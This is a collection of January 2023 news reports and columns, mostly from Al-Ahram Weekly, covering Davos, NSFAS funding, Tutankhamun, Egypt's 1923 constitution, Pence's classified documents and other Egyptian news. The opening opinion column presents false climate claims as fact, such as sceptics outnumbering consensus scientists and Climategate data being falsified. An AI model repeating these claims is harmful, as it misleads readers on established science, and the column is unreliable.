How is global warming a major threat to our survival when we are all cowering under thick blankets surrounded by heaters trying to fend the record cold of recent winters? Our heart goes out to those who have little means to keep their blood flowing. In Afghanistan, 78 people died due to the severity of the cold wintry months.

Even the elite attendants of the forum suffer from sub-zero weather, so how do they justify global warming?

Now, they claim that global warming can cause winters to get colder and more severe. How many faces do they wear?

It is no longer global warming retorts the Intergovernmental Panel on Climate Change (IPCC) of the UN, it is climate change of any kind. The IPCC looks better, sounds better and will cover all facets of scientific knowledge on climate change. Well, whats in a name anyway? The purpose is to provide a sustainable future for our planet. That word sustainable keeps popping up. Has life not been sustainable so far?

Their answer is ready. There is a 97 per cent consensus among scientists on climate change. The 97 per cent is so misleading. They are 97 per cent of believers in fossil fuel dangers, totally disregarding the view of sceptic scientists, that are far more numerous.

Does anyone remember the Climategate scandal of the University of East Anglia that rocked the scientific world? In 2009, scientists at the university falsified data on the severity of global warming; their documents and data were leaked out for all the world to see. Holy science. How can there be trust when zealots in the scientific world deceive us?

They made a habit of it during the Covid-19 crisis, leaving the public disturbed, shocked, and traumatised. How can we trust scientists again?

Fortunately, there are a number of true blue scientists who have attempted to curb this avalanche of misinformation that has swept the minds of young students, their professors, eager investors in renewable energy as well as uber-ambitious scientists ready to do and say whatever advances their careers.

We refer to Stephen Wayward of Hillsdale College and his famous lecture A Funny Thing Happened on the Way to Global Warming  most convincing, laden with scientific evidence that refutes the apocalyptic theory of doom and gloom of fossil fuel believers.

Global Warming: Fact or Fiction by prominent geo- scientist, astrophysicist, PhD with distinction, University of Southern California, Willie Soon, famous for his hilarious presentation at the Independent Institute that left his audience in stitches, rolling down the aisles, convinced there is no such thing as man-causing climate change.

Soon explains why the forecasts of CO2 climate models have been so wrong and why solar influence on clouds, oceans and wind drive climate change and not CO2 emissions. Every sceptical scientist not only agrees with Soon but is convinced that climate is naturally variable, regardless of human activity.

Had the elites at WEF stuck to ending wars, humanity would have been better served.

Protesters to climate change activity were many at Davos, laughing at the ranting and raving of an Al Gore speech, raging at a world that abandoned his inconvenient truth.

One of the protesters banners read People not climate. Amen.

Caught between two visions, one thing is crystal clear: we cannot survive without oil, gas, coal, and other fossil fuels. Man cannot live on solar energy alone. The renewable energy, be it solar, wind, geo-thermal, etc, provides 17 per cent of the energy we use. The rest is provided by fossil fuel.

Investments in global oil and gas sectors have risen to $4 billion, from $2 billion in five years. Most people dismiss this hysteria over climate change, fuelled by the UN, the media, the elite, and progressives.

Why can we not have both? Why are we required to eat insects instead of meat?

Why sacrifice todays lifestyle for a distant, uncertain tomorrow?

What good is an uninhabited clean planet?

The subject is tired and tiring. We took the wrong turn to the WEF.

Hollywood, here we come.

Climate is what we expect, weather is what we get.

Mark Twain (1835-1910)

*A version of this article appears in print in the 26 January, 2023 edition of Al-Ahram Weekly.

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South Africa: Deadline looms for 2023 NSFAS applications

Students who wish to apply for National Student Financial Aid Scheme (NSFAS) funding for 2023 have just one week left to submit their applications.

NSFAS applications for funding for the 2023 academic year opened on 28 September 2022 and will close on 31 January 2023.

As of last Friday, a total of 1 131 419 applications had been received through the schemes online application portal and of these 156 700 were from South African Social Security Agency (SASSA) beneficiaries.

All SASSA beneficiaries have received instant funding approval, pending registration at any of our public universities or Technical Vocational Education and Training (TVET) colleges.

NSFAS will release application results for those who applied for funding for the first time and returning students on 06 February 2023, while the funded list for continuing students has been released today, Higher Education and Training Minister Dr Blade Nzimande said.

Briefing the media on the state of readiness for the post school education and training sector for the 2023 academic year on Tuesday, the Minister advised unsuccessful applicants to appeal NSFAS decisions by submitting the relevant supporting documents between 20 January and 20 February 2023.

He said all application decisions, including the appeal option and appeal processes, will be available to applicants through the myNSFAS portal accessible via the NSFAS website at www.nsfas.org.za.

To cater for the first few months of their academic journey, while applicants wait for their application results, NSFAS will make upfront payments to institutions to cover the costs related to registration, tuition fees and living allowances.

The scheme is currently finalising the upfront payment schedule for payment to universities and TVET colleges and payments will be made by end of January 2023.

This means that all NSFAS-funded students will be registered by all the institutions without paying an upfront registration fee. Those who have applied for NSFAS finding for 2023 are encouraged to log onto their myNSFAS accounts to track their applications, Nzimande explained.

NSFAS applicants can also access their application updates through a new WhatsApp line and a USSD code by adding NSFAS on WhatsApp 078 519 8006 or dialing *120*67327 to track their application status.

The scheme has deployed staff members to institutions across the country to assist with funding-related issues, including data exchange processes with institutions to ensure seamless data integration and the registration of students onto new NSFAS systems.

Eligibility criteria and conditions for financial aid

With regard to the 2023 NSFAS eligibility criteria and conditions for financial aid, the Minister said additions and refinements in relation to the qualifying criteria have been approved, and these include the following:

TVET college students studying occupational programmes can only be funded for the cost of tuition for the duration of the qualification.

TVET college students who are registered on an occupational qualification may qualify for allowances only if in simulated training. It must, however, be noted that students registered on an occupational qualification that has an employment contract do not qualify for NSFAS allowances.

TVET college graduates will be funded for a university undergraduate qualification regardless of the benefit that they would have derived from the application of the N+ rule at a TVET college level (On condition they did not exceed the TVET N+ Rule).

As of 2023, first time entering students (FTENs) must achieve a course credit pass rate of 50%, while continuing university students must achieve a progressive course credit pass rate of 55%.

All returning university students must meet ongoing academic eligibility requirements in order to remain funded by NSFAS.

It must also be noted that academic progression criteria will increase from 55% to 60% over time. The N+ Rule for distance university students will be reviewed as of 2024.

Postgraduate funding

Meanwhile, Nzimande announced that the National Research Fund (NRF) will prioritise all NSFAS-funded undergraduate students who meet the criteria for admission to pursue their honours, masters and doctoral studies in all areas of Science, Engineering, Technology, Social Sciences, and Humanities.

The full cost of study or partial cost of study funding will be awarded to South African citizens and permanent residents only, who are either financially needy (whose combined household family income is less than or equal to R350 000 per annum), living with a disability or exceptional academic achievers.

All NRF continuing students who are eligible for a second or third year of funding must submit a progress report and not a new application, Nzimande said.  SAnews.gov.za

This story has been published on: 2023-01-24. To contact the author, please use the contact details within the article.
In the last in a three-part series on the centenary of the discovery of the tomb of the ancient Egyptian boy-king Tutankhamun, David Tresilian describes the afterlife of the discovery

The discovery of the tomb of the ancient Egyptian boy-king Tutankhamun by British Egyptologist Howard Carter in early November 1922 was only the start of what for him was to become the work of a lifetime involving the clearing of the objects from the tomb and their cleaning, preservation, and documentation.

As Carter wrote in the account he later published of the discovery, this was the first time that an intact ancient Egyptian tomb of comparable importance had been found and of course it was also the only example ever found of an intact royal tomb.

As a result, he felt a clear responsibility to ensure that the tomb was properly documented, the objects within it properly preserved, and everything done to ensure that no information was lost. Even if the importance of this was not immediately evident, it needed to be carried out for the possible use of subsequent generations of Egyptologists.

The work of clearing the tomb and, after their initial inspection, documentation, and consolidation, the shipping of the objects to Cairo to be placed in the Egyptian Museum took the best part of a decade. Work took place during the excavation season, normally from early autumn to the following spring, and it had to be fitted in around other activities.

There were the growing numbers of tourists arriving in Luxor in the winter months, many of them wanting to visit the tomb of Tutankhamun. There was also the need to deal with the media and accompany visiting VIP parties on tours of the tomb.

The discovery had caused a worldwide sensation, and during the excavation season barely a day went by without Carter having to deal with journalists. Moreover, while the tomb could not be opened to tourists while work in it was still proceeding, this did not apply to VIPs. Carter found himself dropping everything in order to show tour parties around the tomb and recount, for what must have seemed the thousandth time, the circumstances behind its discovery.

However, Carter himself also profited from this worldwide interest, even if it may have held up some of the work on the tomb. He was accustomed to spending the summer months in England, and after the death of Lord Carnarvon, the English aristocrat who had financed the excavations that led to the discovery of the tomb, he found himself more and more in demand to lecture on it to British and international audiences.

According to his biographer T G H James, Carter was not a natural lecturer, and although it is impossible to judge he also seems to have been lacking in charm. James produces much contemporary testimony showing that Carter could be moody and difficult, quarrelsome and rude to his colleagues and short with those he did not consider to be on his level on what could be the punishing early 20th-century social scale.

Whatever the truth of such testimony may be, invitations to lecture flooded in, notably from the US where Carter spent a lucrative season lecturing on the discovery of the tomb across the East Coast in 1924.

In London, he was lionised as the man behind the most important Egyptological discovery ever made, and even in Egypt the discovery had made his position almost unassailable after the unfortunate incidents, detailed in an earlier article in this series, that had led him to be blackballed by some of his professional peers.

Or so it might have seemed  for though there was every reason to suppose that Carter, basking in the regard that the discovery had generated, could now dine out for the rest of his life on his discovery of the tomb, there were still some unexpected obstacles.

There was the legal situation concerning Carters continuing work at the tomb after Carnarvons death, for example, as it had been Carnarvon, and not Carter, to whom the original licence to excavate had been issued. There was also the controversy over Carnarvons signing away the media rights to the discovery of the tomb to the London Times newspaper for a large sum and the irritation or worse this caused among other outlets.

Finally, there was Carters own behaviour in pressing for items from the tomb to be spirited out of Egypt under the then-existing system of partage, or sharing, of Egyptological finds between foreign archaeologists and the Egyptian authorities and even allegations that he himself had benefitted from removing items from the tomb.

CLEARING THE TOMB: The most-pressing task following the discovery of the tomb was to clear the objects from it such that these could be properly preserved and put on display in the Egyptian Museum in Cairo.

In his later account, Carter says that clearing the antechamber, the largest chamber in the tomb and the first to be entered, was like playing a gigantic game so crowded were [the objects in it] that it was a matter of extreme difficulty to move one without running a serious risk of damaging the others. Moreover, some objects, particularly those in which organic material had rotted away, would crumble into dust if touched, presenting complex problems of preservation.

The first priority was photography, in order to make sure that everything was properly recorded to show the general lay-out of the tomb. After that, experts were consulted on the best methods of preservation for the different materials used in the objects, and the process of slowly moving the pieces placed on wooden stretchers and swaddled in bandages began.

Once the antechamber and smaller annex room were cleared, work began on the burial chamber. This was entered in early 1923, and inside Carter found, practically touching the sides of the room, the set of nested gilded wooden shrines that contained the sarcophagus and inside that the coffins and mummy of Tutankhamun.

So enormous was this structure [the largest of the shrines] that it filled within a little the entire area of the chamber, a space of only two feet separating it from the walls, he later wrote. Clearing the burial chamber, and opening the sarcophagus of Tutankhamun, had to wait for the next excavation season.

Carter returned to work in autumn 1923, and in his later account he describes opening and then removing the series of gilded shrines before eventually coming to the innermost one containing the sarcophagus. With intense excitement I drew back the bolts of the last [fourth shrine] and the unsealed doors; they slowly swung open, and there, filling the entire area within, effectually barring any further progress, stood an immense yellow quartzite sarcophagus, intact, with the lid still firmly in its place, just as the pious hands had left it some 3,000 years before.

After that, there was the problem of removing the lid, weighing at least a ton, in the confined area of the burial chamber. Inside the sarcophagus the first of a nested set of golden coffins was found. Work on opening these did not begin until 1925, complicated by the large quantities of resin that the ancient Egyptian priests had poured into the coffins during the burial and that had now set hard. This would also have to be removed before the innermost coffin and the mummy of Tutankhamun could be freed.

But eventually Carter set eyes on the famous gold mask of the boy-king in the innermost coffin placed over the face of the mummy, the first man to do so for millennia. The beaten gold mask, a beautiful and unique specimen of ancient portraiture, bears a sad but calm expression suggestive of youth overtaken prematurely by death, he wrote in his account of the discovery.

Writing many decades later in his standard account of Tutankhamun, UK Egyptologist Nicholas Reeves has nothing but praise for Carters careful clearance of the tomb. Carters clearance of the tomb of Tutankhamun, and his preservation of the treasures to make them fit for removal to Cairo, took almost a decade; had the tomb been found by anyone else, it would have been cleared and any surviving contents put on display within a month, he says.

We are, in other words, in Carters debt, since thanks to his work, the exact positioning of every item in the tomb is known, and in most cases the objects were photographed in their original positions before removal. Moreover, fragile materials were carefully consolidated and conserved before any attempt to move them was made, most often in a neighbouring tomb pressed into service as an impromptu laboratory.

Much that might, in less capable hands, have been lost forever was observed, noted, photographed, and preserved for posterity, Reeves writes. Tutankhamuns is the richest burial ever to have been found in the Valley of the Kings; thanks to Carter, it is also the best documented.

PROBLEMS: However, there were problems, the first having to do with the possibility that the then Egyptian government Antiquities Service would itself take over the clearance and documentation of the tomb.

The rights and wrongs of what happened can be debated, but for a time it seemed that Carter would be removed and the work transferred. In his account of events, James says that political developments in Egypt were to blame  he means the 1919 Revolution and the subsequent declaration by the British that they would be ending their protectorate over Egypt  with the result that new scrutiny was applied by the now independent Egyptian government to the work of foreign archaeological missions, particularly those that had benefited, as Carters undoubtedly had, from close connections with the British authorities.

After disagreements with new Egyptian minister of public works Morcos Bey Hanna, himself earlier imprisoned by the British, Carter left Egypt for his US lecture tour in 1924 uncertain whether he would be allowed to continue work on the tomb. There had been a series of problems that had culminated in his closing the tomb and initiating a law suit against the Egyptian government. It was a wearisome story characterised by stubbornness, parti pris, bruised dignity, feelings of revulsion, and plain dislike, James writes.

In the event, the disagreements were smoothed over, helped by the appointment of a new government led by Ahmed Ziwar Pasha, in the words of one observer a Turkish-Egyptian of the old school who formed a ministry of nonentities quite prepared to shelter behind the resources of the British High Commission. Negotiating with this after running into Ziwar on his return to Egypt in December 1924, Carter was able to renew the concession on favourable terms after Carnarvons heirs abandoned claims to a share of the artefacts found in the tomb.

A second problem was the controversy over Carnarvons signing away the media rights to the discovery to the London Times for what at the time was the large sum of 5,000 pounds sterling (around 387,000 today), along with 75 per cent of the profits on the deal. The newspaper would be given the copyright on this material, but Carnarvon would be allowed to use any or all of it for whatever purposes he saw fit.

This agreement, signed in January 1923, at a time when interest in the discovery was at its height, appointed the Times sole agents for the sale throughout the world to newspapers, magazines, and other publications of all news articles, interviews, and photographs relating to the present and future exploration work conducted by the Earl [Carnarvon] and his agents in the Valley of the Tombs of the Kings with the newspaper free to decide on prices.

Aside from the question of whether Carnarvon had the right to sell media access to the tomb, the agreement created bad blood with the rest of the worlds media, notably in Egypt. The tomb was in Egypt, and yet access to news of the excavations could only be had through the British media. This seemed to be an example of the kind of attitudes that were so resented in Egypt and across the Middle East at the time, and it contributed to the hostility to Carters work.

A third problem, perhaps the gravest of all, was Carters pressing for items from the tomb to be spirited out of Egypt under the then partage, or sharing, system that divided finds between foreign archaeologists and the Egyptian authorities and allegations that he himself had removed items from the tomb without recording them.

The renewed agreement with the Egyptian government had meant the abandonment of claims by Carnarvons heirs to a share of the objects found in the tomb  in any case specifically ruled out in the original excavation agreement  but this had not prevented Carter from personally extracting certain objects from it that were found in his London flat after he died.

Among the antiquities [found in Carters collection] were a small number of pieces which could without question be identified as having come from the tomb of Tutankhamun, James writes, and these presented his executors with the problem of how to deal with them. Their existence could not be publicly admitted, and it was thought that the best way to dispose of them would be quietly to return them to Egypt through diplomatic channels.

In the event, they were sent, after an appeal to then Egyptian king Farouk, to the Egyptian Consulate in London in June 1940, where they remained until they were handed over to Farouk after World War II. Nobody will dare to make inappropriate insinuations in the case of a matter in which His Majesty [Farouk] is himself interested, a contemporary observer wrote.

AFTERLIVES: The afterlives of Tutankhamun and his discoverer are almost inextricably linked, so close did they become in their association after Carnarvon first hired Carter to find the boy-kings tomb.

But they nevertheless took separate paths. Whereas Tutankhamun, soon known worldwide by his American soubriquet King Tut, became an international celebrity and possibly even the best-known of ancient Egypts kings, after a short blaze of publicity Carter retreated into obscurity.

Often to be found on the verandah of Luxors Winter Palace Hotel, he never made any comparable discovery or even showed much interest in continuing with his Egyptological work again in later years. After the publication of his initial popular account of the discovery and clearance of the tomb, he never finished or even really worked upon the more substantial scholarly version that was supposed to bolster his professional career.

Instead, he seems to have preferred a life of idling, sometimes dealing in ancient Egyptian antiquities either on his own account or on that of various friends or outside agencies including a series of US museums. He continued to lecture from time to time, though the invitations dwindled as the sensation of the discovery faded. The man who had discovered the only surviving ancient Egyptian royal tomb slowly disappeared from the public eye.

He did, however, become a wealthy man through his dealings in Egyptian antiquities, certainly rich enough to attract the interest of the British tax authorities in the 1920s and 1930s. But the general impression was of a man who had to a great extent given up on the work which had determined his life for such a long time, James writes. Life in Luxor, where Carter spent the winter months, could become enervating, and there was always the possibility of wasting time and the danger of a relaxation of values in day-to-day behaviour.

The posthumous reputation of Tutankhamun, on the other hand, went from strength to strength, and although international interest in the ancient Egyptian boy-king dipped in the 1930s, it more than recovered later. An exhibition at the Louvre in Paris in 1962 kicked off the recovery in the international reputation of Tutankhamun, underlined by a major touring exhibition in the 1970s that was one of the first of the blockbuster exhibitions that have since become familiar worldwide and that racked up some eight million visitors across half a dozen countries.

Today, the mummy of Tutankhamun still lies in the sarcophagus prepared for it some three millennia ago in the boy-kings tomb in the Valley of the Kings. Between then and now, the world has seen the rise and fall of Athens and Rome, the birth and crucifixion of Christ, the coming of Islam, the European Renaissance and the Industrial Revolution, Reeves writes.

Tutankhamun was a king unwanted by his subjects, ignored by his successors, and forgotten for more than 30 centuries He has since been reborn as Egypts most famous son, to achieve true immortality.

*A version of this article appears in print in the 26 January, 2023 edition of Al-Ahram Weekly.

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This year marks the centenary of Egypts 1923 constitution, the fruit of the 1919 Revolution and the guarantor of rights and freedoms that we take for granted today, writes Moustafa El-Feki

A countrys constitution is the mother of all laws, and Egypt has a long and venerable history in engaging with this concept in its modern sense.

Although Egyptian constitutional history dates back to the mid-19th century, the 1923 constitution is the most important landmark because it was the direct result of the will of the Egyptian people after the 1919 Revolution and the declaration of independence from Britain.

All components of Egyptian society were represented on the constitutional drafting committee. Al-Azhar and the Coptic Church were there, and the chief rabbi of Egyptian Jews also took part in the discussions in this national act of laying out the future of a liberal and democratic government in the monarchical era of Egypts modern history.

However, the tyranny of the crown and the British occupiers soon worked to undermine this unprecedented constitution. Eventually, then prime minister Ismail Sidqi, who had broken away from the Wafd Party, the embodiment of the 1919 national movement, formed the Peoples Party to serve as his vehicle to power and replaced the 1923 constitution with the 1930 constitution. That only lasted a few years, however, before the 1923 constitution was reinstated.

The Egyptian people have remained proud of the 1923 constitution, which was a peer to the European constitutions of the age and an embodiment of the modern world that emerged after World War I. After its reinstatement in the mid-1930s, the 1923 constitution remained as the guarantor of rights and freedoms, the guardian of democracy, and the expression of the popular will until the 1952 Revolution.

Despite the sweeping changes the revolution brought, the essence of the constitution continued to breathe in the Egyptian and, indeed, Arab consciousness generation after generation, offering inspiration and guidance in the present and acting as a beacon for the future.

Under the 1923 constitution, prime minister Yehya Ibrahim lost his seat as the representative of Minya Al-Qamh in parliament. The ballot box thus reaffirmed both democracy and the transformation that had taken place in the Egyptian character. Yet, while this venerable constitution left no flaw in the system unaddressed, it did so within the framework of a monarchical system. It was therefore necessary to abolish it in order to create the groundwork for the post-1952 republic.

There followed a series of constitutional declarations in order to remedy problems that cropped up in the post-1952 era and then a number of temporary and permanent constitutions as the country evolved. But the 1923 constitution continued to shine as an icon of the paradigmatic shift in modern Egyptian political thought.

I urge all those who may have opinions, commentary, or analysis to offer on the 1923 constitution or any of its articles and provisions to share them as widely as possible because this year marks the centenary of the 1923 constitution. We should take this occasion to engage in a genuine and extensive discussion of the topics and issues the constitution raises.

Let us recall that the three branches of government  the executive, the legislature, and the judiciary  that we have in Egypt today are an extension of that early constitution. Let us always bear in mind that actions taken in the contexts of political parties, civil rights and liberties, and civic duties can all trace their roots back to the 1923 constitution.

Moreover, as we read that text written ten decades ago, we may feel that it is speaking to us about Egypt today. It is a document that was ahead of its times. It is a faithful translation of the need for an Egyptian parliamentary system of government emanating from the principle that the people are the source of power in the country. In this framework, political parties are support instruments, as constitutional scholars such as the eminent French political scientist Maurice Duverger have put it.

Law is a living thing. It grows and evolves, and as it does so it needs to be reviewed and revised in a way that does not infringe on established rights and liberties and the principle of the rotation of executive authority enshrined in the constitution.

Let us take this occasion to remember that the freedom provided in the constitution that emerged from the 1919 Revolution offered room for the great Egyptian thinker Abbas Mahmoud Al-Akkad to say on the floor of parliament that we are ready to crush the greatest head in the country if he infringes on the constitution or oversteps his constitutionally established bounds.

Although Al-Akkad would later pay a price for his courage, the incident affirmed that the space for freedom was trying to expand under a monarch who was attempting to run the country without heed or concern for the conditions and will of the popular classes and despite the widespread aspiration for reforms that would improve the lives and welfare of the people and their country.

Egypt of the era of the 1923 constitution saw many national leaders, among them Saad Zaghloul, the leader of the 1919 Revolution, and Mustafa Al-Nahhas. It saw the birth of major political and mass movements, from the nationalist movement embodied by the Wafd Party to the Muslim Brotherhood, founded in 1928, as well as political parties representing minorities. It was an era when politics and culture were intertwined and that gave rise to figures like Ahmed Lutfi Al-Sayed, Mohamed Hussein Heikal, Taha Hussein, and other great intellectual luminaires who enriched and enlightened sociopolitical and cultural and intellectual life in the country.

By the time the rift occurred in the Wafd Party in the 1940s, the national unity that was forged in the 1919 Revolution had fully taken root and become engrained in Egyptian consciousness. Thus, when Al-Nahhas fell out with Coptic politician Makram Ebeid, most of the Coptic members of the party stayed with Al-Nahhas while a large contingent of Muslim members went over to the Kutla (Bloc) Party formed by Ebeid.

What that signified was that the religious division in politics had disappeared. Political differences determined choices. That would not have happened had it not been for the 1923 constitution, the guardian of the values, traditions, and the principles of the 1919 Revolution.

Anyone who reads the text of the constitution and studies the period between the 1919 and 1952 Revolutions will sense the national unity, the principle of constitutional legitimacy, and the air of secularist liberalism that imbued every facet of life from politics and journalism to literature and the arts. That vibrant and dynamic spirit and its prolific creativity were the children of the constitution whose centenary we celebrate this year.

* The writer is a veteran diplomat.

*A version of this article appears in print in the 26 January, 2023 edition of Al-Ahram Weekly

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Documents with classified markings were discovered in former Vice President Mike Pence's Indiana residence last week, his lawyer says, the latest in a string of recoveries of confidential information from the homes of current and former top US officials.

The records, which were taken into FBI custody, "appear to be a small number of documents bearing classified markings that were inadvertently boxed and transported to the personal home of the former vice president at the end of the last administration," Pence's lawyer, Greg Jacob, wrote in a letter to the National Archives shared with The Associated Press.

He said that Pence had been "unaware of the existence of sensitive or classified documents at his personal residence'' until a search last week and "understands the high importance of protecting sensitive and classified information and stands ready and willing to cooperate fully with the National Archives and any appropriate inquiry.''

The revelation came as the Department of Justice was already investigating the discovery of documents with classification markings in President Joe Biden's home in Delaware and his former Washington office, as well as former President Donald Trump's Florida estate.

Democrat Biden has indicated he will seek reelection, Trump is already a declared candidate, and Republican Pence has been exploring a possible 2024 presidential campaign that would put him direct competition against his former boss.

The newest discovery, which was first reported by CNN, thrusts Pence, who had previously insisted that he followed stringent protocols regarding classified documents, into the debate over the handling of secret materials by officials who have served in the highest ranks of government.

Trump is currently under criminal investigation after roughly 300 documents with classified markings, including at the top-secret level, were discovered at Mar-a-Lago.

Officials are trying to determine whether Trump or anyone else should be charged with illegal possession of those records or with trying to obstruct the months-long criminal investigation.

Biden is also subject to a special counsel investigation after classified documents from his time as a senator and in the Obama administration were found at his properties.

Trump, who denies any wrongdoing, reacted to the new development on his social media site: "Mike Pence is an innocent man. He never did anything knowingly dishonest in his life. Leave him alone!!!''

While a very different case, the Pence development could bolster the arguments of Trump and Biden, who have sought to downplay the significance of the discoveries.

The presence of secret documents at all three men's homes further underscores the federal government's unwieldy system for storing and protecting the millions of classified documents it produces every year.

Pence's lawyer, Jacob, said in his letter that the former vice president had ``engaged outside counsel, with experience in handling classified documents" to review records stored at his home on Jan. 16 "out of an abundance of caution'' amid the uproar over the discovery of documents at Biden's home.

Jacob said the Pence documents with classification markings were immediately secured in a locked safe. According to a follow-up letter from the lawyer dated Jan. 22, FBI agents visited Pence's residence the night of Jan. 19 at 9:30 pm to collect the documents that had been secured. Pence was in Washington for an event at the time.

A total of four boxes containing copies of administration papers, - two in which "a small number'' of papers bearing classified markings were found, and two containing "courtesy copies of vice presidential papers'', were discovered, according to the letter. Arrangements were made to deliver those boxes to the National Archives Monday.

The National Archives did not immediately respond to a request for comment on the discovery. A Justice Department spokesman declined to comment Tuesday, and a lawyer for Pence did not immediately respond to an email seeking elaboration.

Pence told the Associated Press in August that he did not take any classified information with him when he left office.

Asked directly if he had retained any such information, he said, "No, not to my knowledge.''

In an interview this month with Fox Business, Pence described a "very formal process'' used by his office to handle classified information as well as the steps taken by his lawyers to ensure none was taken with him.

"Before we left the White House, the attorneys on my staff went through all the documents at both the White House and our offices there and at the vice president's residence to ensure that any documents that needed to be turned over to the National Archives, including classified documents, were turned over. So we went through a very careful process in that regard," Pence said.

On Capitol Hill, members of the Senate intelligence committee expressed incredulity over the mishandling of documents by top US officials.

Republican Sen. John Cornyn of Texas noted that classified documents are only moved out of the committee's offices in locked bags. "In my book, it's never permissible to take classified documents outside of a secure facility or by some secure means of transport in between those secure facilities,'' he said.

House Intelligence Chairman Mike Turner, a Republican, said he planned to request a formal intelligence review and damage assessment.

"No one is above the law,"added Republican Sen. Rick Scott, another potential 2024 candidate. "I don't know how anybody ends up with classified documents. ... I mean, every classified document I've ever seen has a big `Classified' on it."

Meanwhile, some Republicans pressed for a search of former President Barack Obama's personal records.

An Obama spokesperson referred to a 2022 statement from the National Archives that said the agency took control of all of his records after he left office and "is not aware of any missing boxes of presidential records from the Obama administration."

Representatives of former presidents George W. Bush and Bill Clinton and former Vice President Dick Cheney said all of their classified records had been turned over to NARA upon leaving the White House.

Mike Pompeo, who served the Trump administration as secretary of state and is mulling his own 2024 GOP presidential bid, said during a stop in South Carolina in late August that the FBI search of Mar-a-Lago "was a deeply politicized use of the FBI.''

Asked by AP if he took any classified material with him after leaving the administration, Pompeo replied, "no,'' adding, ``No one should have classified information out of the appropriate place for classified information, anytime, full stop, period.''

Public records show Pence and his wife, Karen, bought their seven bedroom, 10,300 square foot home in Carmel, Indiana, in May 2021, about four months after moving out of the vice president's residence in Washington.

The Indiana property is spread over a five acre lot just north of Indianapolis.

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MV Logos Hope, the world's largest floating library, crossed the Suez Canal on Tuesday heading towards the Jordanian port of Aqaba, concluding its three-week visit to Port Said in northeastern Egypt.

The massive ship crossed the canal within the south-bound convoy, a statement by the Suez Canal Authority (SCA) said.

Logos Hope docked in Port Said for 19 days until Monday, where it received thousands of visitors, according to an earlier statement by the SCA.

The ship last visited Egypts Suez Canal and Port Said in November and December 2010; it is operated by the non-profit German charitable organisation GBA Ships.

The floating library consists of 9 floors and offers over 5,000 books in various fields, including science, literature, education, hobbies, childrens books, and more, the SCA said today.

The ship, which is 132 metres long and 21 metres wide, sails under the flag of Malta. It has a total load of 14,000 tons.

Over the past 13 years, the Logos Hope has visited more than 150 countries and has received over 49 million visitors, said the Suez Canal Economic Zone (SCZone) last month.

The floating book fair has more than 400 volunteers representing 60 nationalities.

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Egypt's Prime Minister Mostafa Madbouly has designated Thursday 26 January a paid day off for the anniversary of the 25 January Revolution as well as Egypt's Police Day.

This marks the twelfth anniversary of the 2011 revolution that ousted late president Hosni Mubarak.

It also marks Police Day which commemorates the massacre of 50 Egyptian policemen by British occupation forces in Ismailia in 1952.

Egypt recently made Thursday an alternative day off for official holidays that fall midweek in order to give citizens a longer weekend.

The decision, which was first introduced on the seventh anniversary of the 30 June revolution in 2020, applies to all national holidays except for Eid Al-Fitr, Eid Al-Adha, and Christmas.

The day off applies to employees in ministries, government institutions, public authorities, local administration units, public sector companies and public business sector companies.

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Sami Sharaf, the longtime head of the presidential information office at the time of President Gamal Abdel-Nasser, passed away on Monday in Cairo at the age of 93.

According to journalist and MP Mostafa Bakry, Sharaf was being treated for an undisclosed illness for several months at Wadi El-Nil hospital.

Al-Ahram Arabic News website reported that his funeral will be held Tuesday afternoon at Abu Al-Makarem Al-Zaghl Mosque in Cairo.

Born in 1929 in Cairo, Sami Sharaf's father, Mohamed Abdel-Aziz Sharaf, was a surgeon and medical inspector from Beni Suef governorate.

Sharaf graduated from the Military Academy in Egypt in 1949 where one of his teachers was the then officer Gamal Abdel-Nasser.

Following the 23 July Revolution, Sharaf, who was a military intelligence officer, joined the first generation of officers who founded the General Intelligence Service before joining President Nassers office in 1955.

Nasser entrusted Sharaf with establishing and heading the secretarial office for information at the Egyptian Presidency.

In April 1970, Sami Sharaf was appointed as state minister for presidential affairs.

Following the death of President Nasser in September 1970, Sharaf asked President Anwar Sadat to retire. Sadat, however, refused and instructed him to remain in his position.

In May 1971, Sami Sharaf resigned two days before being arrested and charged with planning a coup to overthrow President Sadat. He was sentenced to life but his sentence was reduced to life imprisonment.

He was, however, released in May 1981.

Since his release, Sharaf focused on documenting the Nasserite era and wrote several books, including his book Years and Days with Gamal Abdel-Nasser published in 6 volumes.

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Minister of Agriculture and Land Reclamation El-Sayed El-Quseir expects a decline in the prices of eggs and poultry after the country released "successive and large" amounts of fodders that were stranded at the country's ports amid a hard currency crunch.

Egypt released a total of over $1 billion worth of fodder from Egyptian ports between 16 October to 19 January, El-Quseir explained in a statement on Tuesday.

These released amount equaled 2.1 million tons of fodders, including 1.5 million tons of corn and 623 tons of soybeans, El-Quseir noted.

Between 12-19 January alone, the minister added, the government released a total of 300,000 tons of fodders worth $135 million. This amount included 242,000 tons of corn worth about $87 million, and 55,000 tons of soybeans worth about $42 million.

"These successive large releases will have positive impacts on the decline in the prices of eggs and poultry and the stability of the markets," the statement quoted the minister as saying.

In recent months, the prices of eggs and poultry, which many low-income Egyptians have increasingly relied as a source of protein in lieu of more costly red meat, have soared in local markets amid an increase in fodder and other production costs.

Accute shortages in fodder were triggered by the accumulation of vast quantities of imported goods at ports after the authorities applied curbs on import finance due to the shortage of hard currency last winter.

However, the government has gradually phased out these curbs by the end of last December as it signed a new loan deal with the International Monetary Fund and adopted a flexible exchange rate in order to overcome a hard currency crunch.

Last Thursday, President Abdel-Fattah El-Sisi stated that "there was a big problem in the US dollar in the past three months ... but the problem has almost been resolved and we do not have a problem in US dollars."

The government has announced that it had secured in coordination with the banking sector the release of imported goods worth a total of $13.3 billion through 17 January.

Last week, Prime Minister Mostafa Madbouly said import backlog at ports, which amounted at one point late last year to $15 billion worth of commodities, has dropped to $5 billion in merchandise.

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The education ministry is currently drafting legislation that would, if passed, require teachers to obtain licensing to be able to practice teaching," said Education Minister Red Hegazi, adding that "those who will practice teaching without a prior licence will be criminalised and penalised."

"The legislation will impose hefty fines  but not jail terms  on those who practice teaching without a prior licence," said Hegazi, adding that "the bill will be referred to the House and the Senate to be discussed and voted on in the very near future."

Hegazi's remark came during a debate by Egypt's Senate on Monday evening over education reform and the necessity of recovering the role of public schools in the teaching process. "The new legislation aims to impose discipline in public schools and stem the phenomenon of private tutoring," said Hegazi.

Hegazi also revealed that "French will be a second language in public preparatory schools very soon." "We have concluded a protocol with the French Institute in Cairo to give training to teachers who will teach French in preparatory schools," said Hegazi.

According to Hegazi, Egypt's education ministry is facing five majort challenges.

"These are the spread of the bad phenomenon of private tutoring, a shortage of teachers, a shortage of school buildings, crowded classrooms and stacked curricula," said Hegazi, admitting that "private tutoring is the main reason why students stay absent from schools."

